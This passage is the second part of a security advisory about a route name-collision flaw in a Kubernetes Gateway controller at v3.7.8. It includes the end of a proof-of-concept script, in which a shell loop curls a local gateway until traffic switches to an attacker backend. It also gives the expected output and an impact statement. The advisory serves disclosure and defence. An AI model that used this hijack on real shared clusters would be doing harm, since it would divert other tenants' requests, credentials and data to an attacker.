Advisory

GHSA-fgjj-px3w-67xx

Details, part 2 of 2. The advisory

Details

type: PathPrefix
value: /
backendRefs:
- name: backend
port: 80
YAML

for _ in $(seq 1 60); do
RESPONSE=$(curl -sS -H 'Host: collision.example' \
http://127.0.0.1:18080/ 2>/dev/null || true)
if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
break
fi
sleep 1
done
printf 'after collision: %s\n' "$RESPONSE"

kubectl get httproute -A --sort-by=.metadata.creationTimestamp


Expected output on v3.7.8:

```text
before collision: VICTIM_BACKEND
after collision:  ATTACKER_BACKEND
NAMESPACE   NAME    HOSTNAMES
team        a-app   ["collision.example"]
team-a      app     ["collision.example"]

The first Route is older, but creating the second Route changes existing
victim traffic to the attacker backend. The same test was also run with the
official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster.
The release archive had SHA-256
dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.

Impact

In a shared Gateway deployment, a Route author can hijack requests belonging
to another namespace when the object names admit a collision. Requests,
credentials, authorization headers, and response data can be delivered to an
attacker-controlled backend. The attacker can also return forged application
content or accept state-changing requests intended for the victim. The
favorable naming relationship and accepted shared Gateway are reflected in
the high attack-complexity rating.

</details>

---

Sources & licences